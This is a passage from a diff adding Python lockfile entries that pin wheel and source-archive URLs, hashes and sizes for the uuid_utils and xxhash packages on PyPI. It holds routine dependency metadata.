+    { url = "https://files.pythonhosted.org/packages/13/7f/669aa899ab5378374d28a28231e6978f739921a1af394c7ebd6cc86e2639/uuid_utils-0.16.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c5af79cde16a7600dfccb7d431aec0afd3088ff170b6a09887bf3f7ab3cc7c81", size = 332209, upload-time = "2026-05-19T07:43:51.528Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/57/a2a32406d79a222794ef98a19254fd9a81a029a0f32d7740fba9873bff1f/uuid_utils-0.16.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bece1a6f677ca36047442c465d8166643eed9818b9e43e0bf42d3cf73e92dcff", size = 445507, upload-time = "2026-05-19T07:44:20.541Z" },
+    { url = "https://files.pythonhosted.org/packages/26/6b/85459a35bfa7d73e79acbc4eab1cf6aa6e4d9d022c3260ed9dea539c7f0b/uuid_utils-0.16.0-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2bb3444498e7b099499c8a607d7771377020fa55f7274e46f54106af19f752d7", size = 326154, upload-time = "2026-05-19T07:45:23.587Z" },
+    { url = "https://files.pythonhosted.org/packages/84/9e/e965efdbb503ed14d6e57aec1a22b98326ed24cc2fb48e750c4d192267a0/uuid_utils-0.16.0-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:542098f6cb6874aebeff98715f3ab7646fbe0f2ffb24509ca372828c68c4ed0e", size = 350905, upload-time = "2026-05-19T07:44:36.957Z" },
+    { url = "https://files.pythonhosted.org/packages/23/ae/4321867888a783d03b7c053c0b68ca45d03974d86fcebf44d4ec268db397/uuid_utils-0.16.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7207b25fe534bcf4d57e0110f90670e61c1c38b6f4598ba855af69ab428fc118", size = 502098, upload-time = "2026-05-19T07:44:17.696Z" },
+    { url = "https://files.pythonhosted.org/packages/9d/9a/914a47bf42479bff0ce3e1fa1cbe3585354708edc928e27687cf91de9c26/uuid_utils-0.16.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:16dc5c6e439f75b0456114e955983e2156c1f38887733e54d54205d3005223e4", size = 607032, upload-time = "2026-05-19T07:44:22.151Z" },
+    { url = "https://files.pythonhosted.org/packages/85/4c/2abacd6badba61a047eaa39c8347656229d12843bd9bbe4906daa6dc752c/uuid_utils-0.16.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a6d3ee32c57898d8415242b08d5dd086bc4f7bcbbb3fc102ef257f3d793eb294", size = 567664, upload-time = "2026-05-19T07:45:21.043Z" },
+    { url = "https://files.pythonhosted.org/packages/53/1f/9d1a09521276424da19dc0d74456aed3311170fec181b28fa6acba45d963/uuid_utils-0.16.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7555f120a2282d1901c9a632c2398a614101af4fe3f7c8114aa0f1d8c1978855", size = 530996, upload-time = "2026-05-19T07:45:44.229Z" },
+    { url = "https://files.pythonhosted.org/packages/b4/22/14dbedb6b61f492d5524077fd10bbfb137583b0f0aafa6cd870ccb43f39a/uuid_utils-0.16.0-cp314-cp314t-win32.whl", hash = "sha256:756575d082ea4cb7d2f923d5b640c0efe7c82573aab49220c4e09b62d13737ff", size = 169358, upload-time = "2026-05-19T07:45:05.146Z" },
+    { url = "https://files.pythonhosted.org/packages/25/f4/a636806c98401a1108f2456e9cc3fa39a618145bfb1d0860c57203159cfe/uuid_utils-0.16.0-cp314-cp314t-win_amd64.whl", hash = "sha256:aa50261a83991dbb570a00573741455bd8f3249444f7329e5bdcd494799d1504", size = 174813, upload-time = "2026-05-19T07:45:59.579Z" },
+    { url = "https://files.pythonhosted.org/packages/75/12/3823742459d87a100deb24bb6b41692aa961b267abd130fa7739cdf7d409/uuid_utils-0.16.0-cp314-cp314t-win_arm64.whl", hash = "sha256:22a17e93a371d850ffce8fcdbacc2239f890efe73aa3262b6170c1febc08afe1", size = 171733, upload-time = "2026-05-19T07:45:29.283Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/89/655408a5485c56bf2c4561eb85f5bca119b1f4020370b4daaeb8d13e46fb/uuid_utils-0.16.0-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:4e35e9a986e86806a61288fac3afbb51317f2580929feefd1661891ffd7b8c24", size = 569295, upload-time = "2026-05-19T07:45:22.325Z" },
+    { url = "https://files.pythonhosted.org/packages/24/1c/a7c5506a4e2cf95ac98fec0996c56daa14e41f2ab1858f569b3556a202f9/uuid_utils-0.16.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b35706350cf9bd4813f1811bebe03cac09795a5a379f90cb3616171f4e9ffc9e", size = 292316, upload-time = "2026-05-19T07:43:57.044Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/75/4267ab8baa1e6a8ad7c262e204484b44df0fde0920025ea9b43c2b869726/uuid_utils-0.16.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4fd5c7936a876ba2606ba124603b559a5c2cea458c59b9c31677e6acc3c53cc", size = 329619, upload-time = "2026-05-19T07:44:12.928Z" },
+    { url = "https://files.pythonhosted.org/packages/15/77/c794102831e331564f651099cac55006694677938d70f1033b35da451a89/uuid_utils-0.16.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:130f7452c1b87b7c16d0bdc1f32a1de531ae4cc4220ed4e691402bbcfc39e0a9", size = 335121, upload-time = "2026-05-19T07:45:47.974Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/3e/458a0a2da75c596b151182a6c7550c6c3d30f479e14e40f69c0336579e59/uuid_utils-0.16.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5ee0bbbd4ca3968422cd8308f0072520bc73dc760cb26c6fa75ca1aca14d210", size = 449631, upload-time = "2026-05-19T07:45:50.645Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/15/dd1fab6f7fcd15f2c331d0c1f0f516bb1113a640216460f82be53db3dcf8/uuid_utils-0.16.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc0824a31898ef46a9d84d748c3abe27cdb615ac3773c53cc1f84fc8e66dc7c4", size = 328418, upload-time = "2026-05-19T07:44:52.38Z" },
+    { url = "https://files.pythonhosted.org/packages/96/56/62dcd551b140cbeb0f87522da2015b4b9e5818327b920506ad88d28562b0/uuid_utils-0.16.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:abfbf5e0c47fb31b37164a99515104e449a0bee36a071dc8b105457a2b35a5e6", size = 356177, upload-time = "2026-05-19T07:45:42.856Z" },
+    { url = "https://files.pythonhosted.org/packages/44/e7/3937b9a9d6745b94dbe7b86531e098db8c53b77c8d07df7daa9577a47b8e/uuid_utils-0.16.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:680799a9ade01d69c53cb9d41392ced24919d4f600bfab5060b61fca37510097", size = 178508, upload-time = "2026-05-19T07:43:43.774Z" },
+]
+
+[[package]]
+name = "xxhash"
+version = "3.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/24/2f/e183a1b407002f5af81822bee18b61cdb94b8670208ef34734d8d2b8ebe9/xxhash-3.7.0.tar.gz", hash = "sha256:6cc4eefbb542a5d6ffd6d70ea9c502957c925e800f998c5630ecc809d6702bae", size = 82022, upload-time = "2026-04-25T11:10:32.553Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/3b/f4/7bd35089ff1f8e2c96baa2dce05775a122aacd2e3830a73165e27a4d0848/xxhash-3.7.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:fdc7d06929ae28dda98297a18eef7b0fd38991a3b405d8d7b55c9ef24c296958", size = 33423, upload-time = "2026-04-25T11:05:47.628Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/26/4e00c88a6a2c8a759cfb77d2a9a405f901e8aa66e60ef1fd0aeb35edda48/xxhash-3.7.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ea6daa712f4e094a30830cf01e9b47d03b24d05cc9dab8609f0d9a9db8454712", size = 30857, upload-time = "2026-04-25T11:05:49.189Z" },
+    { url = "https://files.pythonhosted.org/packages/82/2f/eeb942c17a5a761a8f01cb9180a0b76bfb62a2c39e6f46b1f9001899027a/xxhash-3.7.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9e6c0d843f1daf85ea23aeb053579135552bde575b7b98af20bfc667b6e4548d", size = 194702, upload-time = "2026-04-25T11:05:50.457Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/fd/96f132c08b1e5951c68691d3b9ec351ec2edc028f6a01fcd294f46b9d9f0/xxhash-3.7.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:363c139bf15e1ac5f136b981d3c077eb551299b1effede7f12faa010b8590a60", size = 213613, upload-time = "2026-04-25T11:05:52.571Z" },
+    { url = "https://files.pythonhosted.org/packages/82/89/d4e92b796c5ed052d29ed324dbfc1dc1188e0c4bf64bebbf0f8fc20698df/xxhash-3.7.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a778b25874cb0f862eaab5986bff4ca49ffb0def7c0a34c237b948b3c6c775b2", size = 236726, upload-time = "2026-04-25T11:05:54.395Z" },
+    { url = "https://files.pythonhosted.org/packages/40/f1/81fc4361921dc6e557a9c60cb3712f36d244d06eeeb71cd2f4252ac42678/xxhash-3.7.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3e1860f1e43d40e9d904cf22d93e587ea42e010ebce4160877e46bcab4bc232a", size = 212443, upload-time = "2026-04-25T11:05:56.334Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/d0/afeddd4cff50a332f50d4b8a2e8857673153ab0564ef472fcdeb0b5430df/xxhash-3.7.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:9122ad6f867c4a0f5e655f5c3bdf89103852009dbb442a3d23e688b9e699e800", size = 445793, upload-time = "2026-04-25T11:05:58.953Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/d0/3c91e4e6a05ca4d7df8e39ec3a75b713609258ec84705ab34be6430826a1/xxhash-3.7.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d7d9110d0c3fb02679972837a033251fd186c529aa62f19c132fc909c74052b8", size = 193937, upload-time = "2026-04-25T11:06:00.546Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/3a/a6b0772d9801dd4bea4ca4fd34734d6e9b51a711c8a611a24a79de26a878/xxhash-3.7.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:347a93f2b4ce67ce61959665e32a7447c380f8347e55e100daa23766baacf0e5", size = 285188, upload-time = "2026-04-25T11:06:01.96Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/f8/cf8e31fd7282230fe7367cd501a2e75b4b67b222bfc7eacccfc20d2652cb/xxhash-3.7.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:acbb48679ddf3852c45280c10ff10d52ca2cd1da2e552fb81db1ff786c75d0e4", size = 210966, upload-time = "2026-04-25T11:06:03.453Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/f0/fd36cc4a81bf52ee5633275daae2b93dd958aace67fd4f5d466ec83b5f35/xxhash-3.7.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:fe14c356f8b23ad811dc026077a6d4abccdaa7bce5ca98579605550657b6fcfb", size = 241994, upload-time = "2026-04-25T11:06:05.264Z" },
+    { url = "https://files.pythonhosted.org/packages/08/e1/67f5d9c9369be42eaf99ba02c01bf14c5ecd67087b02567960bfcee43b63/xxhash-3.7.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:f420ad3d41e38194353a498bbc9561fd5a9973a27b536ce46d8583479cf44335", size = 198707, upload-time = "2026-04-25T11:06:07.044Z" },
+    { url = "https://files.pythonhosted.org/packages/50/17/a4c865ca22d2da6b1bc7d739bf88cab209533cf52ba06ca9da27c3039bee/xxhash-3.7.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:693d02c6dc7d1aa0a45921d54cd8c1ff629e09dfdc2238471507af1f7a1c6f04", size = 210917, upload-time = "2026-04-25T11:06:08.853Z" },
+    { url = "https://files.pythonhosted.org/packages/49/8b/453b35810d697abac3c96bde3528bece685869227da274eb80a4a4d4a119/xxhash-3.7.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:14bf7a54e43825ec131ee7fe3c60e142e7c2c1e676ad0f93fc893432d15414af", size = 275772, upload-time = "2026-04-25T11:06:10.645Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/ad/4eed7eab07fd3ee6678f416190f0413d097ab5d7c1278906bf1e9549d789/xxhash-3.7.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:ae3a39a4d96bdb6f8d154fd7f490c4ad06f0532fcd2bb656052a9a7762cf5d31", size = 414068, upload-time = "2026-04-25T11:06:12.511Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/4e/fd6f8a680ba248fdb83054fa71a8bfa3891225200de1708b888ef2c49829/xxhash-3.7.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1cc07c639e3a77ef1d32987464d3e408565b8a3be57b545d3542b191054d9923", size = 191459, upload-time = "2026-04-25T11:06:14.07Z" },
+    { url = "https://files.pythonhosted.org/packages/50/7c/8cb34b3bed4f44ca6827a534d50833f9bc6c006e83b0eb410ac9fa0793bd/xxhash-3.7.0-cp311-cp311-win32.whl", hash = "sha256:3281ba1d1e60ee7a382a7b958513ba03c2c0d5fcbd9a6f7517c0a81251a23422", size = 30628, upload-time = "2026-04-25T11:06:15.802Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/47/a49767bd7b40782bedae9ff0721bfe1d7e4dd9dc1585dea684e57ba67c20/xxhash-3.7.0-cp311-cp311-win_amd64.whl", hash = "sha256:a7f25baec4c5d851d40718d6fae52285b31683093d4ff5207e63ab306ccf14a5", size = 31461, upload-time = "2026-04-25T11:06:17.104Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/c6/3957bfacfb706bd687be246dfa8dd60f8df97c44186d229f7fd6e26c4b7e/xxhash-3.7.0-cp311-cp311-win_arm64.whl", hash = "sha256:4c2454448ce847c72635827bb75c15c5a3434b03ee1afd28cb6dc6fb2597d830", size = 27746, upload-time = "2026-04-25T11:06:18.716Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/8a/51a14cdef4728c6c2337db8a7d8704422cc65676d9199d77215464c880af/xxhash-3.7.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:082c87bfdd2b9f457606c7a4a53457f4c4b48b0cdc48de0277f4349d79bb3d7a", size = 33357, upload-time = "2026-04-25T11:06:20.44Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/1b/0c2c933809421ffd9bf42b59315552c143c755db5d9a816b2f1ae273e884/xxhash-3.7.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5e7ce913b61f35b0c1c839a49ac9c8e75dd8d860150688aed353b0ce1bf409d8", size = 30869, upload-time = "2026-04-25T11:06:21.989Z" },
+    { url = "https://files.pythonhosted.org/packages/03/a8/89d5fdd6ee12d70ba99451de46dd0e8010167468dcd913ec855653f4dd50/xxhash-3.7.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3beb1de3b1e9694fcdd853e570ee64c631c7062435d2f8c69c1adf809bc086f0", size = 194100, upload-time = "2026-04-25T11:06:23.586Z" },
+    { url = "https://files.pythonhosted.org/packages/87/ee/2f9f2ed993e77206d1e66991290a1ebe22e843351ca3ebec8e49e01ba186/xxhash-3.7.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f3e7b689c3bce16699efcf736066f5c6cc4472c3840fe4b22bd8279daf4abdac", size = 212977, upload-time = "2026-04-25T11:06:25.019Z" },
+    { url = "https://files.pythonhosted.org/packages/de/60/5a91644615a9e9d4e42c2e9925f1908e3a24e4e691d9de7340d565bea024/xxhash-3.7.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a6545e6b409e3d5cbafc850fb84c55a1ca26ed15a6b11e3bf07a0e0cd84517c8", size = 236373, upload-time = "2026-04-25T11:06:26.482Z" },
+    { url = "https://files.pythonhosted.org/packages/22/c0/f3a9384eaaed9d14d4d062a5d953aa0da489bfe9747877aa994caa87cd0b/xxhash-3.7.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:31ab1461c77a11461d703c88eb949e132a1c6515933cf675d97ec680f4bd18de", size = 212229, upload-time = "2026-04-25T11:06:28.065Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/67/02f07a9fd79726804190f2172c4894c3ed9a4ebccaca05653c84beb58025/xxhash-3.7.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7c4d596b7676f811172687ec567cbafb9e4dea2f9be1bbb4f622410cb7f40f40", size = 445462, upload-time = "2026-04-25T11:06:30.048Z" },
+    { url = "https://files.pythonhosted.org/packages/40/37/558f5a90c0672fc9b4402dc25d87ac5b7406616e8969430c9ca4e52ee74d/xxhash-3.7.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:13805f0461cba0a857924e70ff91ae6d52d2598f79a884e788db80532614a4a1", size = 193932, upload-time = "2026-04-25T11:06:31.857Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/90/aaa09cd58661d32044dbbad7df55bbe22a623032b810e7ed3b8c569a2a6f/xxhash-3.7.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1d398f372496152f1c6933a33566373f8d1b37b98b8c9d608fa6edc0976f23b2", size = 284807, upload-time = "2026-04-25T11:06:33.697Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/f3/53df3719ab127a02c174f0c1c74924fcd110866e89c966bc7909cfa8fa84/xxhash-3.7.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d610aa62cdb7d4d497740741772a24a794903bf3e79eaa51d2e800082abe11e5", size = 210445, upload-time = "2026-04-25T11:06:35.488Z" },
+    { url = "https://files.pythonhosted.org/packages/72/33/d219975c0e8b6fa2eb9ccd486fe47e21bf1847985b878dd2fbc3126e0d5c/xxhash-3.7.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:073c23900a9fbf3d26616c17c830db28af9803677cd5b33aea3224d824111514", size = 241273, upload-time = "2026-04-25T11:06:37.24Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/50/49b1afe610eb3964cedcb90a4d4c3d46a261ee8669cbd4f060652619ae3c/xxhash-3.7.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:418a463c3e6a590c0cdc890f8be19adb44a8c8acd175ca5b2a6de77e61d0b386", size = 197950, upload-time = "2026-04-25T11:06:39.148Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/75/5f42a1a4c78717d906a4b6a140c6dbf837ab1f547a54d23c4e2903310936/xxhash-3.7.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:03f8ff4474ee61c845758ce00711d7087a770d77efb36f7e74a6e867301000b8", size = 210709, upload-time = "2026-04-25T11:06:40.958Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/85/237e446c25abced71e9c53d269f2cef5bab8a82b3f88a12e00c5368e7368/xxhash-3.7.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:44fba4a5f1d179b7ddc7b3dc40f56f9209046421679b57025d4d8821b376fd8d", size = 275345, upload-time = "2026-04-25T11:06:42.525Z" },
+    { url = "https://files.pythonhosted.org/packages/62/34/c2c26c0a6a9cc739bc2a5f0ae03ba8b87deb12b8bce35f7ac495e790dc6d/xxhash-3.7.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:31e3516a0f829d06ded4a2c0f3c7c5561993256bfa1c493975fb9dc7bfa828a1", size = 414056, upload-time = "2026-04-25T11:06:44.343Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/aa/5c58e9bc8071b8afd8dcf297ff362f723c4892168faba149f19904132bf4/xxhash-3.7.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b59ee2ac81de57771a09ecad09191e840a1d2fae1ef684208320591055768f83", size = 191485, upload-time = "2026-04-25T11:06:46.262Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/69/a929cf9d1e2e65a48b818cdce72cb6b69eab2e6877f21436d0a1942aff43/xxhash-3.7.0-cp312-cp312-win32.whl", hash = "sha256:74bbd92f8c7fcc397ba0a11bfdc106bc72ad7f11e3a60277753f87e7532b4d81", size = 30671, upload-time = "2026-04-25T11:06:48.039Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/1b/104b41a8947f4e1d4a66ce1e628eea752f37d1890bfd7453559ca7a3d950/xxhash-3.7.0-cp312-cp312-win_amd64.whl", hash = "sha256:7bd7bc82dd4f185f28f35193c2e968ef46131628e3cac62f639dadf321cba4d1", size = 31514, upload-time = "2026-04-25T11:06:49.279Z" },
+    { url = "https://files.pythonhosted.org/packages/98/a0/1fd0ea1f1b886d9e7c73f0397571e22333a7d79e31da6d7127c2a4a71d75/xxhash-3.7.0-cp312-cp312-win_arm64.whl", hash = "sha256:7d7148180ec99ba36585b42c8c5de25e9b40191613bc4be68909b4d25a77a852", size = 27761, upload-time = "2026-04-25T11:06:50.448Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/ca/d5174b4c36d10f64d4ca7050563138c5a599efb01a765858ddefc9c1202a/xxhash-3.7.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:4b6d6b33f141158692bd4eafbb96edbc5aa0dabdb593a962db01a91983d4f8fa", size = 36813, upload-time = "2026-04-25T11:06:51.73Z" },
+    { url = "https://files.pythonhosted.org/packages/41/d0/abc6c9d347ba1f1e1e1d98125d0881a0452c7f9a76a9dd03a7b5d2197f23/xxhash-3.7.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:845d347df254d6c619f616afa921331bada8614b8d373d58725c663ba97c3605", size = 35121, upload-time = "2026-04-25T11:06:53.048Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/11/4cc834eb3d79f2f2b3a6ef7324195208bcdfbdcf7534d2b17267aa5f3a8f/xxhash-3.7.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:fddbbb69a6fff4f421e7a0d1fa28f894b20112e9e3fab306af451e2dfd0e459b", size = 29624, upload-time = "2026-04-25T11:06:54.311Z" },
+    { url = "https://files.pythonhosted.org/packages/23/83/e97d3e7b635fe73a1dfb1e91f805324dd6d930bb42041cbf18f183bc0b6d/xxhash-3.7.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:54876a4e45101cec2bf8f31a973cda073a23e2e108538dad224ba07f85f22487", size = 30638, upload-time = "2026-04-25T11:06:55.864Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/40/d84951d80c35db1f4c40a29a64a8520eea5d56e764c603906b4fe763580f/xxhash-3.7.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:0c72fe9c7e3d6dfd7f1e21e224a877917fa09c465694ba4e06464b9511b65544", size = 33323, upload-time = "2026-04-25T11:06:57.336Z" },
+    { url = "https://files.pythonhosted.org/packages/89/cc/c7dc6558d97e9ab023f663d69ab28b340ed9bf4d2d94f2c259cf896bb354/xxhash-3.7.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:a6d73a830b17ef49bc04e00182bd839164c1b3c59c127cd7c54fcb10c7ed8ee8", size = 33362, upload-time = "2026-04-25T11:06:58.656Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/6e/46b84017b1301d54091430353d4ad5901654a3e0871649877a416f7f1644/xxhash-3.7.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:91c3b07cf3362086d8f126c6aecd8e5e9396ad8b2f2219ea7e49a8250c318acd", size = 30874, upload-time = "2026-04-25T11:06:59.834Z" },
+    { url = "https://files.pythonhosted.org/packages/df/5e/8f9158e3ab906ad3fec51e09b5ea0093e769f12207bfa42a368ca204e7ab/xxhash-3.7.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:50e879ebbac351c81565ca108db766d7832f5b8b6a5b14b8c0151f7190028e3d", size = 194185, upload-time = "2026-04-25T11:07:01.658Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/29/a804ded9f5d3d3758292678d23e7528b08fda7b7e750688d08b052322475/xxhash-3.7.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:921c14e93817842dd0dd9f372890a0f0c72e534650b6ab13c5be5cd0db11d47e", size = 213033, upload-time = "2026-04-25T11:07:03.606Z" },
+    { url = "https://files.pythonhosted.org/packages/8b/91/1ce5a7d2fdc975267320e2c78fc1cecfe7ab735ccbcf6993ec5dd541cb2c/xxhash-3.7.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e64a7c9d7dfca3e0fafcbc5e455519090706a3e36e95d655cec3e04e79f95aaa", size = 236140, upload-time = "2026-04-25T11:07:05.396Z" },
+    { url = "https://files.pythonhosted.org/packages/34/04/fd595a4fd8617b05fa27bd9b684ecb4985bfed27917848eea85d54036d06/xxhash-3.7.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2220af08163baf5fa36c2b8af079dc2cbe6e66ae061385267f9472362dfd53c6", size = 212291, upload-time = "2026-04-25T11:07:06.966Z" },
+    { url = "https://files.pythonhosted.org/packages/03/fb/f1a379cbc372ae5b9f4ab36154c48a849ca6ebe3ac477067a57865bf3bc6/xxhash-3.7.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f14bb8b22a4a91325813e3d553b8963c10cf8c756cff65ee50c194431296c655", size = 445532, upload-time = "2026-04-25T11:07:08.525Z" },
+    { url = "https://files.pythonhosted.org/packages/65/59/172424b79f8cfd4b6d8a122b2193e6b8ad4b11f7159bb3b6f9b3191329bb/xxhash-3.7.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:496736f86a9bedaf64b0dc70e3539d0766df01c71ea22032698e88f3f04a1ce9", size = 193990, upload-time = "2026-04-25T11:07:10.315Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/19/aeac22161d953f139f07ba5586cb4a17c5b7b6dff985122803bb12933500/xxhash-3.7.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0ff71596bd79816975b3de7130ab1ff4541410285a3c084584eeb1c8239996fd", size = 284876, upload-time = "2026-04-25T11:07:12.15Z" },
+    { url = "https://files.pythonhosted.org/packages/77/d5/4fd0b59e7a02242953da05ff679fbb961b0a4368eac97a217e11dae110c1/xxhash-3.7.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1ad86695c19b1d46fe106925db3c7a37f16be37669dcf58dcc70a9dd6e324676", size = 210495, upload-time = "2026-04-25T11:07:13.952Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/fb/976a3165c728c7faf74aa1b5ab3cf6a85e6d731612894741840524c7d28c/xxhash-3.7.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:970f9f8c50961d639cbd0d988c96f80ddf66006de93641719282c4fe7a87c5e6", size = 241331, upload-time = "2026-04-25T11:07:15.557Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/2c/6763d5901d53ac9e6ba296e5717ae599025c9d268396e8faa8b4b0a8e0ac/xxhash-3.7.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:5886ad85e9e347911783760a1d16cb6b393e8f9e3b52c982568226cb56927bdc", size = 198037, upload-time = "2026-04-25T11:07:17.563Z" },
+    { url = "https://files.pythonhosted.org/packages/61/2b/876e722d533833f5f9a83473e6ba993e48745701096944e77bbecf29b2c3/xxhash-3.7.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6e934bbae1e0ec74e27d5f0d7f37ef547ce5ff9f0a7e63fb39e559fc99526734", size = 210744, upload-time = "2026-04-25T11:07:19.055Z" },
+    { url = "https://files.pythonhosted.org/packages/21/e6/d7e7baef7ce24166b4668d3c48557bb35a23b92ecadcac7e7718d099ab69/xxhash-3.7.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:3b6b3d28228af044ebcded71c4a3dd86e1dbd7e2f4645bf40f7b5da65bb5fb5a", size = 275406, upload-time = "2026-04-25T11:07:20.908Z" },
